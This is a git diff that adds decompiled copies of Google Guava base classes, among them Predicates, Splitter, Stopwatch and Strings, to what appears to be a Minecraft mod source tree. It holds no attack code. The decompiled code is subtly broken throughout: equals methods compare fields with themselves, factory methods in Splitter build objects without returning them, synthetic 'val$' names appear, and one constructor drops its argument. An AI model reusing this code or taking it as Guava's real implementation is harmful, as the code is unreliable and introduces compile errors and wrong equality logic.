+  private static class OrPredicate<T> implements Predicate<T>, Serializable
+  {
+    private final List<? extends Predicate<? super T>> components;
+    private static final long serialVersionUID = 0L;
+    
+    private OrPredicate(List<? extends Predicate<? super T>> components)
+    {
+      this.components = components;
+    }
+    
+    public boolean apply(@Nullable T t)
+    {
+      for (int i = 0; i < components.size(); i++) {
+        if (((Predicate)components.get(i)).apply(t)) {
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public int hashCode() { return components.hashCode() + 87855567; }
+    
+    public boolean equals(@Nullable Object obj) {
+      if ((obj instanceof OrPredicate)) {
+        OrPredicate<?> that = (OrPredicate)obj;
+        return components.equals(components);
+      }
+      return false;
+    }
+    
+    public String toString() { return "Predicates.or(" + Predicates.COMMA_JOINER.join(components) + ")"; }
+  }
+  
+  private static class IsEqualToPredicate<T>
+    implements Predicate<T>, Serializable
+  {
+    private final T target;
+    private static final long serialVersionUID = 0L;
+    
+    private IsEqualToPredicate(T target)
+    {
+      this.target = target;
+    }
+    
+    public boolean apply(T t) {
+      return target.equals(t);
+    }
+    
+    public int hashCode() { return target.hashCode(); }
+    
+    public boolean equals(@Nullable Object obj) {
+      if ((obj instanceof IsEqualToPredicate)) {
+        IsEqualToPredicate<?> that = (IsEqualToPredicate)obj;
+        return target.equals(target);
+      }
+      return false;
+    }
+    
+    public String toString() { return "Predicates.equalTo(" + target + ")"; }
+  }
+  
+  @GwtIncompatible("Class.isInstance")
+  private static class InstanceOfPredicate
+    implements Predicate<Object>, Serializable
+  {
+    private final Class<?> clazz;
+    private static final long serialVersionUID = 0L;
+    
+    private InstanceOfPredicate(Class<?> clazz)
+    {
+      this.clazz = ((Class)Preconditions.checkNotNull(clazz));
+    }
+    
+    public boolean apply(@Nullable Object o) {
+      return clazz.isInstance(o);
+    }
+    
+    public int hashCode() { return clazz.hashCode(); }
+    
+    public boolean equals(@Nullable Object obj) {
+      if ((obj instanceof InstanceOfPredicate)) {
+        InstanceOfPredicate that = (InstanceOfPredicate)obj;
+        return clazz == clazz;
+      }
+      return false;
+    }
+    
+    public String toString() { return "Predicates.instanceOf(" + clazz.getName() + ")"; }
+  }
+  
+  @GwtIncompatible("Class.isAssignableFrom")
+  private static class AssignableFromPredicate
+    implements Predicate<Class<?>>, Serializable
+  {
+    private final Class<?> clazz;
+    private static final long serialVersionUID = 0L;
+    
+    private AssignableFromPredicate(Class<?> clazz)
+    {
+      this.clazz = ((Class)Preconditions.checkNotNull(clazz));
+    }
+    
+    public boolean apply(Class<?> input) {
+      return clazz.isAssignableFrom(input);
+    }
+    
+    public int hashCode() { return clazz.hashCode(); }
+    
+    public boolean equals(@Nullable Object obj) {
+      if ((obj instanceof AssignableFromPredicate)) {
+        AssignableFromPredicate that = (AssignableFromPredicate)obj;
+        return clazz == clazz;
+      }
+      return false;
+    }
+    
+    public String toString() { return "Predicates.assignableFrom(" + clazz.getName() + ")"; }
+  }
+  
+  private static class InPredicate<T> implements Predicate<T>, Serializable
+  {
+    private final Collection<?> target;
+    private static final long serialVersionUID = 0L;
+    
+    private InPredicate(Collection<?> target)
+    {
+      this.target = ((Collection)Preconditions.checkNotNull(target));
+    }
+    
+    public boolean apply(@Nullable T t)
+    {
+      try {
+        return target.contains(t);
+      } catch (NullPointerException e) {
+        return false;
+      } catch (ClassCastException e) {}
+      return false;
+    }
+    
+    public boolean equals(@Nullable Object obj)
+    {
+      if ((obj instanceof InPredicate)) {
+        InPredicate<?> that = (InPredicate)obj;
+        return target.equals(target);
+      }
+      return false;
+    }
+    
+    public int hashCode() {
+      return target.hashCode();
+    }
+    
+    public String toString() {
+      return "Predicates.in(" + target + ")";
+    }
+  }
+  
+  private static class CompositionPredicate<A, B> implements Predicate<A>, Serializable
+  {
+    final Predicate<B> p;
+    final Function<A, ? extends B> f;
+    private static final long serialVersionUID = 0L;
+    
+    private CompositionPredicate(Predicate<B> p, Function<A, ? extends B> f)
+    {
+      this.p = ((Predicate)Preconditions.checkNotNull(p));
+      this.f = ((Function)Preconditions.checkNotNull(f));
+    }
+    
+    public boolean apply(@Nullable A a)
+    {
+      return p.apply(f.apply(a));
+    }
+    
+    public boolean equals(@Nullable Object obj) {
+      if ((obj instanceof CompositionPredicate)) {
+        CompositionPredicate<?, ?> that = (CompositionPredicate)obj;
+        return (f.equals(f)) && (p.equals(p));
+      }
+      return false;
+    }
+    
+    public int hashCode() {
+      return f.hashCode() ^ p.hashCode();
+    }
+    
+    public String toString() {
+      return p.toString() + "(" + f.toString() + ")";
+    }
+  }
+  
+  @GwtIncompatible("Only used by other GWT-incompatible code.")
+  private static class ContainsPatternPredicate
+    implements Predicate<CharSequence>, Serializable
+  {
+    final Pattern pattern;
+    private static final long serialVersionUID = 0L;
+    
+    ContainsPatternPredicate(Pattern pattern)
+    {
+      this.pattern = ((Pattern)Preconditions.checkNotNull(pattern));
+    }
+    
+    public boolean apply(CharSequence t)
+    {
+      return pattern.matcher(t).find();
+    }
+    
+
+
+    public int hashCode()
+    {
+      return Objects.hashCode(new Object[] { pattern.pattern(), Integer.valueOf(pattern.flags()) });
+    }
+    
+    public boolean equals(@Nullable Object obj) {
+      if ((obj instanceof ContainsPatternPredicate)) {
+        ContainsPatternPredicate that = (ContainsPatternPredicate)obj;
+        
+
+
+        return (Objects.equal(pattern.pattern(), pattern.pattern())) && (Objects.equal(Integer.valueOf(pattern.flags()), Integer.valueOf(pattern.flags())));
+      }
+      
+      return false;
+    }
+    
+    public String toString() {
+      String patternString = Objects.toStringHelper(pattern).add("pattern", pattern.pattern()).add("pattern.flags", pattern.flags()).toString();
+      
+
+
+      return "Predicates.contains(" + patternString + ")";
+    }
+  }
+  
+  @GwtIncompatible("Only used by other GWT-incompatible code.")
+  private static class ContainsPatternFromStringPredicate
+    extends Predicates.ContainsPatternPredicate
+  {
+    private static final long serialVersionUID = 0L;
+    
+    ContainsPatternFromStringPredicate(String string)
+    {
+      super();
+    }
+    
+    public String toString() {
+      return "Predicates.containsPattern(" + pattern.pattern() + ")";
+    }
+  }
+  
+
+
+
+  private static <T> List<Predicate<? super T>> asList(Predicate<? super T> first, Predicate<? super T> second)
+  {
+    return Arrays.asList(new Predicate[] { first, second });
+  }
+  
+  private static <T> List<T> defensiveCopy(T... array) {
+    return defensiveCopy(Arrays.asList(array));
+  }
+  
+  static <T> List<T> defensiveCopy(Iterable<T> iterable) {
+    ArrayList<T> list = new ArrayList();
+    for (T element : iterable) {
+      list.add(Preconditions.checkNotNull(element));
+    }
+    return list;
+  }
+}
diff --git a/src/minecraft/com/google/common/base/Present.java b/src/minecraft/com/google/common/base/Present.java
new file mode 100644
index 0000000..69e5788
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Present.java
@@ -0,0 +1,90 @@
+package com.google.common.base;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Collections;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+final class Present<T>
+  extends Optional<T>
+{
+  private final T reference;
+  private static final long serialVersionUID = 0L;
+  
+  Present(T reference)
+  {
+    this.reference = reference;
+  }
+  
+  public boolean isPresent() {
+    return true;
+  }
+  
+  public T get() {
+    return reference;
+  }
+  
+  public T or(T defaultValue) {
+    Preconditions.checkNotNull(defaultValue, "use Optional.orNull() instead of Optional.or(null)");
+    return reference;
+  }
+  
+  public Optional<T> or(Optional<? extends T> secondChoice) {
+    Preconditions.checkNotNull(secondChoice);
+    return this;
+  }
+  
+  public T or(Supplier<? extends T> supplier) {
+    Preconditions.checkNotNull(supplier);
+    return reference;
+  }
+  
+  public T orNull() {
+    return reference;
+  }
+  
+  public Set<T> asSet() {
+    return Collections.singleton(reference);
+  }
+  
+  public <V> Optional<V> transform(Function<? super T, V> function) {
+    return new Present(Preconditions.checkNotNull(function.apply(reference), "the Function passed to Optional.transform() must not return null."));
+  }
+  
+  public boolean equals(@Nullable Object object)
+  {
+    if ((object instanceof Present)) {
+      Present<?> other = (Present)object;
+      return reference.equals(reference);
+    }
+    return false;
+  }
+  
+  public int hashCode() {
+    return 1502476572 + reference.hashCode();
+  }
+  
+  public String toString() {
+    return "Optional.of(" + reference + ")";
+  }
+}
diff --git a/src/minecraft/com/google/common/base/SmallCharMatcher.java b/src/minecraft/com/google/common/base/SmallCharMatcher.java
new file mode 100644
index 0000000..54e3889
--- /dev/null
+++ b/src/minecraft/com/google/common/base/SmallCharMatcher.java
@@ -0,0 +1,153 @@
+package com.google.common.base;
+
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.annotations.VisibleForTesting;
+import java.util.BitSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtIncompatible("no precomputation is done in GWT")
+final class SmallCharMatcher
+  extends CharMatcher.FastMatcher
+{
+  static final int MAX_SIZE = 1023;
+  private final char[] table;
+  private final boolean containsZero;
+  private final long filter;
+  private static final int C1 = -862048943;
+  private static final int C2 = 461845907;
+  private static final double DESIRED_LOAD_FACTOR = 0.5D;
+  
+  private SmallCharMatcher(char[] table, long filter, boolean containsZero, String description)
+  {
+    super(description);
+    this.table = table;
+    this.filter = filter;
+    this.containsZero = containsZero;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  static int smear(int hashCode)
+  {
+    return 461845907 * Integer.rotateLeft(hashCode * -862048943, 15);
+  }
+  
+  private boolean checkFilter(int c) {
+    return 1L == (1L & filter >> c);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  @VisibleForTesting
+  static int chooseTableSize(int setSize)
+  {
+    if (setSize == 1) {
+      return 2;
+    }
+    
+
+    int tableSize = Integer.highestOneBit(setSize - 1) << 1;
+    while (tableSize * 0.5D < setSize) {
+      tableSize <<= 1;
+    }
+    return tableSize;
+  }
+  
+  static CharMatcher from(BitSet chars, String description)
+  {
+    long filter = 0L;
+    int size = chars.cardinality();
+    boolean containsZero = chars.get(0);
+    
+    char[] table = new char[chooseTableSize(size)];
+    int mask = table.length - 1;
+    for (int c = chars.nextSetBit(0); c != -1; c = chars.nextSetBit(c + 1))
+    {
+      filter |= 1L << c;
+      int index = smear(c) & mask;
+      for (;;)
+      {
+        if (table[index] == 0) {
+          table[index] = ((char)c);
+          break;
+        }
+        
+        index = index + 1 & mask;
+      }
+    }
+    return new SmallCharMatcher(table, filter, containsZero, description);
+  }
+  
+  public boolean matches(char c)
+  {
+    if (c == 0) {
+      return containsZero;
+    }
+    if (!checkFilter(c)) {
+      return false;
+    }
+    int mask = table.length - 1;
+    int startingIndex = smear(c) & mask;
+    int index = startingIndex;
+    do
+    {
+      if (table[index] == 0) {
+        return false;
+      }
+      if (table[index] == c) {
+        return true;
+      }
+      
+      index = index + 1 & mask;
+
+    }
+    while (index != startingIndex);
+    return false;
+  }
+  
+  void setBits(BitSet table)
+  {
+    if (containsZero) {
+      table.set(0);
+    }
+    for (char c : this.table) {
+      if (c != 0) {
+        table.set(c);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/base/Splitter.java b/src/minecraft/com/google/common/base/Splitter.java
new file mode 100644
index 0000000..6a8977b
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Splitter.java
@@ -0,0 +1,617 @@
+package com.google.common.base;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import javax.annotation.CheckReturnValue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class Splitter
+{
+  private final CharMatcher trimmer;
+  private final boolean omitEmptyStrings;
+  private final Strategy strategy;
+  private final int limit;
+  
+  private Splitter(Strategy strategy)
+  {
+    this(strategy, false, CharMatcher.NONE, Integer.MAX_VALUE);
+  }
+  
+  private Splitter(Strategy strategy, boolean omitEmptyStrings, CharMatcher trimmer, int limit)
+  {
+    this.strategy = strategy;
+    this.omitEmptyStrings = omitEmptyStrings;
+    this.trimmer = trimmer;
+    this.limit = limit;
+  }
+  
+
+
+
+
+
+
+
+  public static Splitter on(char separator)
+  {
+    return on(CharMatcher.is(separator));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static Splitter on(CharMatcher separatorMatcher)
+  {
+    Preconditions.checkNotNull(separatorMatcher);
+    
+    new Splitter(new Strategy()
+    {
+      public Splitter.SplittingIterator iterator(Splitter splitter, CharSequence toSplit) {
+        new Splitter.SplittingIterator(splitter, toSplit) {
+          int separatorStart(int start) {
+            return val$separatorMatcher.indexIn(toSplit, start);
+          }
+          
+          int separatorEnd(int separatorPosition) {
+            return separatorPosition + 1;
+          }
+        };
+      }
+    });
+  }
+  
+
+
+
+
+
+
+
+  public static Splitter on(String separator)
+  {
+    Preconditions.checkArgument(separator.length() != 0, "The separator may not be the empty string.");
+    
+
+    new Splitter(new Strategy()
+    {
+      public Splitter.SplittingIterator iterator(Splitter splitter, CharSequence toSplit) {
+        new Splitter.SplittingIterator(splitter, toSplit) {
+          public int separatorStart(int start) {
+            int separatorLength = val$separator.length();
+            
+
+            int p = start;int last = toSplit.length() - separatorLength;
+            label80: for (; p <= last; p++) {
+              for (int i = 0; i < separatorLength; i++) {
+                if (toSplit.charAt(i + p) != val$separator.charAt(i)) {
+                  break label80;
+                }
+              }
+              return p;
+            }
+            return -1;
+          }
+          
+          public int separatorEnd(int separatorPosition) {
+            return separatorPosition + val$separator.length();
+          }
+        };
+      }
+    });
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("java.util.regex")
+  public static Splitter on(Pattern separatorPattern)
+  {
+    Preconditions.checkNotNull(separatorPattern);
+    Preconditions.checkArgument(!separatorPattern.matcher("").matches(), "The pattern may not match the empty string: %s", new Object[] { separatorPattern });
+    
+
+    new Splitter(new Strategy()
+    {
+      public Splitter.SplittingIterator iterator(Splitter splitter, CharSequence toSplit) {
+        final Matcher matcher = val$separatorPattern.matcher(toSplit);
+        new Splitter.SplittingIterator(splitter, toSplit) {
+          public int separatorStart(int start) {
+            return matcher.find(start) ? matcher.start() : -1;
+          }
+          
+          public int separatorEnd(int separatorPosition) {
+            return matcher.end();
+          }
+        };
+      }
+    });
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("java.util.regex")
+  public static Splitter onPattern(String separatorPattern)
+  {
+    return on(Pattern.compile(separatorPattern));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Splitter fixedLength(int length)
+  {
+    Preconditions.checkArgument(length > 0, "The length may not be less than 1");
+    
+    new Splitter(new Strategy()
+    {
+      public Splitter.SplittingIterator iterator(Splitter splitter, CharSequence toSplit) {
+        new Splitter.SplittingIterator(splitter, toSplit) {
+          public int separatorStart(int start) {
+            int nextChunkStart = start + val$length;
+            return nextChunkStart < toSplit.length() ? nextChunkStart : -1;
+          }
+          
+          public int separatorEnd(int separatorPosition) {
+            return separatorPosition;
+          }
+        };
+      }
+    });
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @CheckReturnValue
+  public Splitter omitEmptyStrings()
+  {
+    return new Splitter(strategy, true, trimmer, limit);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @CheckReturnValue
+  public Splitter limit(int limit)
+  {
+    Preconditions.checkArgument(limit > 0, "must be greater than zero: %s", new Object[] { Integer.valueOf(limit) });
+    return new Splitter(strategy, omitEmptyStrings, trimmer, limit);
+  }
+  
+
+
+
+
+
+
+
+
+
+  @CheckReturnValue
+  public Splitter trimResults()
+  {
+    return trimResults(CharMatcher.WHITESPACE);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @CheckReturnValue
+  public Splitter trimResults(CharMatcher trimmer)
+  {
+    Preconditions.checkNotNull(trimmer);
+    return new Splitter(strategy, omitEmptyStrings, trimmer, limit);
+  }
+  
+
+
+
+
+
+
+
+  public Iterable<String> split(final CharSequence sequence)
+  {
+    Preconditions.checkNotNull(sequence);
+    
+    new Iterable() {
+      public Iterator<String> iterator() {
+        return Splitter.this.splittingIterator(sequence);
+      }
+      
+      public String toString() { return ']'; }
+    };
+  }
+  
+
+
+
+  private Iterator<String> splittingIterator(CharSequence sequence)
+  {
+    return strategy.iterator(this, sequence);
+  }
+  
+
+
+
+
+
+
+
+
+  @Beta
+  public List<String> splitToList(CharSequence sequence)
+  {
+    Preconditions.checkNotNull(sequence);
+    
+    Iterator<String> iterator = splittingIterator(sequence);
+    List<String> result = new ArrayList();
+    
+    while (iterator.hasNext()) {
+      result.add(iterator.next());
+    }
+    
+    return Collections.unmodifiableList(result);
+  }
+  
+
+
+
+
+
+  @CheckReturnValue
+  @Beta
+  public MapSplitter withKeyValueSeparator(String separator)
+  {
+    return withKeyValueSeparator(on(separator));
+  }
+  
+
+
+
+
+
+  @CheckReturnValue
+  @Beta
+  public MapSplitter withKeyValueSeparator(char separator)
+  {
+    return withKeyValueSeparator(on(separator));
+  }
+  
+
+
+
+
+
+
+  @CheckReturnValue
+  @Beta
+  public MapSplitter withKeyValueSeparator(Splitter keyValueSplitter)
+  {
+    return new MapSplitter(this, keyValueSplitter, null);
+  }
+  
+
+
+  @Beta
+  public static final class MapSplitter
+  {
+    private static final String INVALID_ENTRY_MESSAGE = "Chunk [%s] is not a valid entry";
+    
+
+    private final Splitter outerSplitter;
+    
+    private final Splitter entrySplitter;
+    
+
+    private MapSplitter(Splitter outerSplitter, Splitter entrySplitter)
+    {
+      this.outerSplitter = outerSplitter;
+      this.entrySplitter = ((Splitter)Preconditions.checkNotNull(entrySplitter));
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public Map<String, String> split(CharSequence sequence)
+    {
+      Map<String, String> map = new LinkedHashMap();
+      for (String entry : outerSplitter.split(sequence)) {
+        Iterator<String> entryFields = entrySplitter.splittingIterator(entry);
+        
+        Preconditions.checkArgument(entryFields.hasNext(), "Chunk [%s] is not a valid entry", new Object[] { entry });
+        String key = (String)entryFields.next();
+        Preconditions.checkArgument(!map.containsKey(key), "Duplicate key [%s] found.", new Object[] { key });
+        
+        Preconditions.checkArgument(entryFields.hasNext(), "Chunk [%s] is not a valid entry", new Object[] { entry });
+        String value = (String)entryFields.next();
+        map.put(key, value);
+        
+        Preconditions.checkArgument(!entryFields.hasNext(), "Chunk [%s] is not a valid entry", new Object[] { entry });
+      }
+      return Collections.unmodifiableMap(map);
+    }
+  }
+  
+
+
+  private static abstract interface Strategy
+  {
+    public abstract Iterator<String> iterator(Splitter paramSplitter, CharSequence paramCharSequence);
+  }
+  
+
+
+  private static abstract class SplittingIterator
+    extends AbstractIterator<String>
+  {
+    final CharSequence toSplit;
+    
+    final CharMatcher trimmer;
+    
+    final boolean omitEmptyStrings;
+    
+
+    abstract int separatorStart(int paramInt);
+    
+
+    int offset = 0;
+    
+    abstract int separatorEnd(int paramInt);
+    
+    protected SplittingIterator(Splitter splitter, CharSequence toSplit) { trimmer = trimmer;
+      omitEmptyStrings = omitEmptyStrings;
+      limit = limit;
+      this.toSplit = toSplit;
+    }
+    
+
+
+    int limit;
+    
+
+    protected String computeNext()
+    {
+      int nextStart = offset;
+      while (offset != -1) {
+        int start = nextStart;
+        
+
+        int separatorPosition = separatorStart(offset);
+        int end; if (separatorPosition == -1) {
+          int end = toSplit.length();
+          offset = -1;
+        } else {
+          end = separatorPosition;
+          offset = separatorEnd(separatorPosition);
+        }
+        if (offset == nextStart)
+        {
+
+
+
+
+
+
+          offset += 1;
+          if (offset >= toSplit.length()) {
+            offset = -1;
+          }
+        }
+        else
+        {
+          while ((start < end) && (trimmer.matches(toSplit.charAt(start)))) {
+            start++;
+          }
+          while ((end > start) && (trimmer.matches(toSplit.charAt(end - 1)))) {
+            end--;
+          }
+          
+          if ((omitEmptyStrings) && (start == end))
+          {
+            nextStart = offset;
+          }
+          else
+          {
+            if (limit == 1)
+            {
+
+
+              end = toSplit.length();
+              offset = -1;
+              
+              while ((end > start) && (trimmer.matches(toSplit.charAt(end - 1)))) {
+                end--;
+              }
+            }
+            limit -= 1;
+            
+
+            return toSplit.subSequence(start, end).toString();
+          } } }
+      return (String)endOfData();
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/base/StandardSystemProperty.java b/src/minecraft/com/google/common/base/StandardSystemProperty.java
new file mode 100644
index 0000000..642f3f6
--- /dev/null
+++ b/src/minecraft/com/google/common/base/StandardSystemProperty.java
@@ -0,0 +1,143 @@
+package com.google.common.base;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtIncompatible;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtIncompatible("java.lang.System#getProperty")
+public enum StandardSystemProperty
+{
+  JAVA_VERSION("java.version"), 
+  
+
+  JAVA_VENDOR("java.vendor"), 
+  
+
+  JAVA_VENDOR_URL("java.vendor.url"), 
+  
+
+  JAVA_HOME("java.home"), 
+  
+
+  JAVA_VM_SPECIFICATION_VERSION("java.vm.specification.version"), 
+  
+
+  JAVA_VM_SPECIFICATION_VENDOR("java.vm.specification.vendor"), 
+  
+
+  JAVA_VM_SPECIFICATION_NAME("java.vm.specification.name"), 
+  
+
+  JAVA_VM_VERSION("java.vm.version"), 
+  
+
+  JAVA_VM_VENDOR("java.vm.vendor"), 
+  
+
+  JAVA_VM_NAME("java.vm.name"), 
+  
+
+  JAVA_SPECIFICATION_VERSION("java.specification.version"), 
+  
+
+  JAVA_SPECIFICATION_VENDOR("java.specification.vendor"), 
+  
+
+  JAVA_SPECIFICATION_NAME("java.specification.name"), 
+  
+
+  JAVA_CLASS_VERSION("java.class.version"), 
+  
+
+  JAVA_CLASS_PATH("java.class.path"), 
+  
+
+  JAVA_LIBRARY_PATH("java.library.path"), 
+  
+
+  JAVA_IO_TMPDIR("java.io.tmpdir"), 
+  
+
+  JAVA_COMPILER("java.compiler"), 
+  
+
+  JAVA_EXT_DIRS("java.ext.dirs"), 
+  
+
+  OS_NAME("os.name"), 
+  
+
+  OS_ARCH("os.arch"), 
+  
+
+  OS_VERSION("os.version"), 
+  
+
+  FILE_SEPARATOR("file.separator"), 
+  
+
+  PATH_SEPARATOR("path.separator"), 
+  
+
+  LINE_SEPARATOR("line.separator"), 
+  
+
+  USER_NAME("user.name"), 
+  
+
+  USER_HOME("user.home"), 
+  
+
+  USER_DIR("user.dir");
+  
+  private final String key;
+  
+  private StandardSystemProperty(String key) {
+    this.key = key;
+  }
+  
+
+
+  public String key()
+  {
+    return key;
+  }
+  
+
+
+
+  public String value()
+  {
+    return System.getProperty(key);
+  }
+  
+
+
+  public String toString()
+  {
+    return key() + "=" + value();
+  }
+}
diff --git a/src/minecraft/com/google/common/base/Stopwatch.java b/src/minecraft/com/google/common/base/Stopwatch.java
new file mode 100644
index 0000000..1d44b61
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Stopwatch.java
@@ -0,0 +1,266 @@
+package com.google.common.base;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible(emulated=true)
+public final class Stopwatch
+{
+  private final Ticker ticker;
+  private boolean isRunning;
+  private long elapsedNanos;
+  private long startTick;
+  
+  public static Stopwatch createUnstarted()
+  {
+    return new Stopwatch();
+  }
+  
+
+
+
+
+
+  public static Stopwatch createUnstarted(Ticker ticker)
+  {
+    return new Stopwatch(ticker);
+  }
+  
+
+
+
+
+
+  public static Stopwatch createStarted()
+  {
+    return new Stopwatch().start();
+  }
+  
+
+
+
+
+
+  public static Stopwatch createStarted(Ticker ticker)
+  {
+    return new Stopwatch(ticker).start();
+  }
+  
+
+
+
+
+
+  @Deprecated
+  Stopwatch()
+  {
+    this(Ticker.systemTicker());
+  }
+  
+
+
+
+
+
+  @Deprecated
+  Stopwatch(Ticker ticker)
+  {
+    this.ticker = ((Ticker)Preconditions.checkNotNull(ticker, "ticker"));
+  }
+  
+
+
+
+
+  public boolean isRunning()
+  {
+    return isRunning;
+  }
+  
+
+
+
+
+
+  public Stopwatch start()
+  {
+    Preconditions.checkState(!isRunning, "This stopwatch is already running.");
+    isRunning = true;
+    startTick = ticker.read();
+    return this;
+  }
+  
+
+
+
+
+
+
+  public Stopwatch stop()
+  {
+    long tick = ticker.read();
+    Preconditions.checkState(isRunning, "This stopwatch is already stopped.");
+    isRunning = false;
+    elapsedNanos += tick - startTick;
+    return this;
+  }
+  
+
+
+
+
+
+  public Stopwatch reset()
+  {
+    elapsedNanos = 0L;
+    isRunning = false;
+    return this;
+  }
+  
+  private long elapsedNanos() {
+    return isRunning ? ticker.read() - startTick + elapsedNanos : elapsedNanos;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public long elapsed(TimeUnit desiredUnit)
+  {
+    return desiredUnit.convert(elapsedNanos(), TimeUnit.NANOSECONDS);
+  }
+  
+
+
+  @GwtIncompatible("String.format()")
+  public String toString()
+  {
+    long nanos = elapsedNanos();
+    
+    TimeUnit unit = chooseUnit(nanos);
+    double value = nanos / TimeUnit.NANOSECONDS.convert(1L, unit);
+    
+
+    return String.format("%.4g %s", new Object[] { Double.valueOf(value), abbreviate(unit) });
+  }
+  
+  private static TimeUnit chooseUnit(long nanos) {
+    if (TimeUnit.DAYS.convert(nanos, TimeUnit.NANOSECONDS) > 0L) {
+      return TimeUnit.DAYS;
+    }
+    if (TimeUnit.HOURS.convert(nanos, TimeUnit.NANOSECONDS) > 0L) {
+      return TimeUnit.HOURS;
+    }
+    if (TimeUnit.MINUTES.convert(nanos, TimeUnit.NANOSECONDS) > 0L) {
+      return TimeUnit.MINUTES;
+    }
+    if (TimeUnit.SECONDS.convert(nanos, TimeUnit.NANOSECONDS) > 0L) {
+      return TimeUnit.SECONDS;
+    }
+    if (TimeUnit.MILLISECONDS.convert(nanos, TimeUnit.NANOSECONDS) > 0L) {
+      return TimeUnit.MILLISECONDS;
+    }
+    if (TimeUnit.MICROSECONDS.convert(nanos, TimeUnit.NANOSECONDS) > 0L) {
+      return TimeUnit.MICROSECONDS;
+    }
+    return TimeUnit.NANOSECONDS;
+  }
+  
+  private static String abbreviate(TimeUnit unit) {
+    switch (1.$SwitchMap$java$util$concurrent$TimeUnit[unit.ordinal()]) {
+    case 1: 
+      return "ns";
+    case 2: 
+      return "μs";
+    case 3: 
+      return "ms";
+    case 4: 
+      return "s";
+    case 5: 
+      return "min";
+    case 6: 
+      return "h";
+    case 7: 
+      return "d";
+    }
+    throw new AssertionError();
+  }
+}
diff --git a/src/minecraft/com/google/common/base/Strings.java b/src/minecraft/com/google/common/base/Strings.java
new file mode 100644
index 0000000..cf8b983
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Strings.java
@@ -0,0 +1,236 @@
+package com.google.common.base;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.VisibleForTesting;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public final class Strings
+{
+  private Strings() {}
+  
+  public static String nullToEmpty(@Nullable String string)
+  {
+    return string == null ? "" : string;
+  }
+  
+
+
+
+
+
+  @Nullable
+  public static String emptyToNull(@Nullable String string)
+  {
+    return isNullOrEmpty(string) ? null : string;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isNullOrEmpty(@Nullable String string)
+  {
+    return (string == null) || (string.length() == 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String padStart(String string, int minLength, char padChar)
+  {
+    Preconditions.checkNotNull(string);
+    if (string.length() >= minLength) {
+      return string;
+    }
+    StringBuilder sb = new StringBuilder(minLength);
+    for (int i = string.length(); i < minLength; i++) {
+      sb.append(padChar);
+    }
+    sb.append(string);
+    return sb.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String padEnd(String string, int minLength, char padChar)
+  {
+    Preconditions.checkNotNull(string);
+    if (string.length() >= minLength) {
+      return string;
+    }
+    StringBuilder sb = new StringBuilder(minLength);
+    sb.append(string);
+    for (int i = string.length(); i < minLength; i++) {
+      sb.append(padChar);
+    }
+    return sb.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static String repeat(String string, int count)
+  {
+    Preconditions.checkNotNull(string);
+    
+    if (count <= 1) {
+      Preconditions.checkArgument(count >= 0, "invalid count: %s", new Object[] { Integer.valueOf(count) });
+      return count == 0 ? "" : string;
+    }
+    
+
+    int len = string.length();
+    long longSize = len * count;
+    int size = (int)longSize;
+    if (size != longSize) {
+      throw new ArrayIndexOutOfBoundsException("Required array size too large: " + longSize);
+    }
+    
+
+    char[] array = new char[size];
+    string.getChars(0, len, array, 0);
+    
+    for (int n = len; n < size - n; n <<= 1) {
+      System.arraycopy(array, 0, array, n, n);
+    }
